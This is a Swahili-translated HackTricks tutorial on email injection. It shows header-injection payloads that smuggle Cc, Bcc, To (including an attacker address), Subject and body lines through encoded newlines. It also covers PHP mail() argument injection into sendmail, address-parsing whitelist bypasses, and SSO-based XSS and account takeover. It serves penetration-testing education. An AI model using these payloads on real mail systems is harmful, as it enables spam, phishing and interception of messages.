mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-12 06:12:55 +00:00
170 lines
9.4 KiB
Markdown
170 lines
9.4 KiB
Markdown
# Kuingiza Barua pepe
|
|
|
|
<figure><img src="../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia** mchakato wa kiotomatiki ulioendeshwa na zana za **jamii** za **juu kabisa** duniani.\
|
|
Pata Ufikiaji Leo:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Njia nyingine za kusaidia HackTricks:
|
|
|
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
|
|
|
</details>
|
|
|
|
## Kuingiza kwenye barua pepe iliyotumwa
|
|
|
|
### Kuingiza Cc na Bcc baada ya hoja ya mtumaji
|
|
```
|
|
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
|
|
```
|
|
Ujumbe utatumwa kwa akaunti za mpokeaji na mpokeaji1.
|
|
|
|
### Ingiza hoja
|
|
```
|
|
From:sender@domain.com%0ATo:attacker@domain.com
|
|
```
|
|
Ujumbe utatumwa kwa mpokeaji wa awali na akaunti ya mshambuliaji.
|
|
|
|
### Ingiza hoja ya Mada
|
|
```
|
|
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
|
|
```
|
|
### Badilisha mwili wa ujumbe
|
|
|
|
Ingiza mstari wa mistari miwili, kisha andika ujumbe wako ili kubadilisha mwili wa ujumbe.
|
|
```
|
|
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
|
|
```
|
|
### Utekaji wa kazi wa kazi ya PHP mail()
|
|
```bash
|
|
# The function has the following definition:
|
|
|
|
php --rf mail
|
|
|
|
Function [ <internal:standard> function mail ] {
|
|
- Parameters [5] {
|
|
Parameter #0 [ <required> $to ]
|
|
Parameter #1 [ <required> $subject ]
|
|
Parameter #2 [ <required> $message ]
|
|
Parameter #3 [ <optional> $additional_headers ]
|
|
Parameter #4 [ <optional> $additional_parameters ]
|
|
}
|
|
}
|
|
```
|
|
#### Parameta ya 5 ($additional\_parameters)
|
|
|
|
Sehemu hii itazingatia **jinsi ya kutumia parameta hii ikidhaniwa kuwa mpangaji anaidhibiti**.
|
|
|
|
Parameta hii itaongezwa kwenye mstari wa amri PHP itakayotumia kuita sendmail ya binary. Hata hivyo, itasafishwa na kazi `escapeshellcmd($additional_parameters)`.
|
|
|
|
Mpangaji anaweza **kuingiza vipengele vya ziada kwa sendmail** katika kesi hii.
|
|
|
|
#### Tofauti katika utekelezaji wa /usr/sbin/sendmail
|
|
|
|
**Kiolesura cha sendmail** kinatolewa na programu ya barua pepe ya MTA (Sendmail, Postfix, Exim n.k.) iliyosakinishwa kwenye mfumo. Ingawa **kazi msingi** (kama vile vipengele -t -i -f) inabaki **sawa** kwa sababu za utangamano, **kazi na vipengele vingine** vinatofautiana sana kulingana na MTA iliyosakinishwa.
|
|
|
|
Hapa kuna mifano michache ya kurasa tofauti za man ya amri/kiolesura cha sendmail:
|
|
|
|
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
|
|
* Postfix MTA: http://www.postfix.org/mailq.1.html
|
|
* Exim MTA: https://linux.die.net/man/8/eximReferences
|
|
|
|
Kulingana na **asili ya sendmail** ya binary, chaguo tofauti zimegunduliwa kuzitumia na **kuvuja faili au hata kutekeleza amri za kupita kiasi**. Angalia jinsi ya kufanya hivyo katika [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
|
|
|
## Kuingiza kwenye jina la barua pepe
|
|
|
|
### Sehemu zilizopuuzwa za barua pepe
|
|
|
|
Alama: **+, -** na **{}** kwa nadra zinaweza kutumika kwa alama na kupuuzwa na seva nyingi za barua pepe
|
|
|
|
* K.m. john.doe+intigriti@example.com → john.doe@example.com
|
|
|
|
**Maoni kati ya mabano ()** mwanzoni au mwishoni pia yatapuuzwa
|
|
|
|
* K.m. john.doe(intigriti)@example.com → john.doe@example.com
|
|
|
|
### Kupitisha orodha nyeupe
|
|
|
|
<figure><img src="../.gitbook/assets/image (809).png" alt="https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
|
|
|
|
### Alama za nukuu
|
|
|
|
<figure><img src="../.gitbook/assets/image (623).png" alt="https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
|
|
|
|
### IPs
|
|
|
|
Unaweza pia kutumia IPs kama majina ya kikoa kati ya mabano ya mraba:
|
|
|
|
* john.doe@\[127.0.0.1]
|
|
* john.doe@\[IPv6:2001:db8::1]
|
|
|
|
### Mapungufu mengine
|
|
|
|
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (1128).png>)
|
|
|
|
## SSO ya Mhusika wa Tatu
|
|
|
|
### XSS
|
|
|
|
Baadhi ya huduma kama **github** au **salesforce inaruhusu** kuunda **anwani ya barua pepe na mizigo ya XSS**. Ikiwa unaweza **kutumia watoa huduma hawa kuingia kwenye huduma zingine** na huduma hizi **hazisafishi** barua pepe kwa usahihi, unaweza kusababisha **XSS**.
|
|
|
|
### Kuchukua-Utawala wa Akaunti
|
|
|
|
Ikiwa **huduma ya SSO** inaruhusu kuunda akaunti bila kuthibitisha anwani ya barua pepe iliyotolewa (kama **salesforce**) na kisha unaweza kutumia akaunti hiyo kuingia kwenye huduma tofauti inayoitumaini salesforce, unaweza kupata akaunti yoyote.\
|
|
_Taarifa kwamba salesforce inaonyesha ikiwa barua pepe iliyotolewa imehakikiwa au la, hivyo programu inapaswa kuzingatia habari hii._
|
|
|
|
## Jibu-Kwa
|
|
|
|
Unaweza kutuma barua pepe ukitumia _**Kutoka: kampuni.com**_ na _**Jibu-Kwa: mpangaji.com**_ na ikiwa **jibu la moja kwa moja** linatumwa kwa sababu barua pepe ilitumwa **kutoka** kwa **anwani ya ndani** mpangaji anaweza **kupokea** jibu hilo.
|
|
|
|
## Kiwango cha Kupiga Kura Kwa Kukataa
|
|
|
|
Huduma fulani, kama AWS, inatekeleza kizingiti kinachoitwa **Kiwango cha Kupiga Kura Kwa Kukataa**, kawaida kikiwekwa kwa 10%. Hii ni takwimu muhimu, hasa kwa huduma za utoaji barua pepe. Wakati kiwango hiki kinapozidiwa, huduma, kama huduma ya barua pepe ya AWS, inaweza kusimamisha au kuzuia.
|
|
|
|
**Kupiga kura kwa kukataa** kunahusu **barua pepe** ambayo imerudishwa kwa mtumaji kwa sababu anwani ya mpokeaji ni batili au haipo. Hii inaweza kutokea kwa sababu mbalimbali, kama vile barua pepe kutumwa kwa anwani isiyopo, kikoa kisichokuwepo, au kukataa kwa seva ya mpokeaji kukubali **barua pepe**.
|
|
|
|
Katika muktadha wa AWS, ikiwa unatuma barua pepe 1000 na 100 kati yao zinasababisha kupiga kura kwa kukataa (kutokana na sababu kama anwani batili au vikoa), hii itamaanisha kiwango cha kupiga kura kwa kukataa cha 10%. Kufikia au kuzidi kiwango hiki kunaweza kusababisha AWS SES (Huduma Rahisi ya Barua pepe) kuzuia au kusimamisha uwezo wako wa kutuma barua pepe.
|
|
|
|
Ni muhimu kudumisha kiwango cha chini cha kupiga kura kwa kukataa ili kuhakikisha huduma ya barua pepe isiyovurugwa na kudumisha sifa ya mtumaji. Kufuatilia na kusimamia ubora wa anwani za barua pepe kwenye orodha yako ya kutuma barua pepe kunaweza kusaidia sana katika kufanikisha hili.
|
|
|
|
Kwa habari zaidi, unaweza kurejelea hati rasmi ya AWS kuhusu kushughulikia kupiga kura na malalamiko [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
|
|
|
|
## Marejeo
|
|
|
|
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
|
|
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
|
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
|
|
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Njia nyingine za kusaidia HackTricks:
|
|
|
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
<figure><img src="../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia taratibu za kiotomatiki** zinazotumia zana za jamii za juu zaidi duniani.\
|
|
Pata Ufikiaji Leo:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|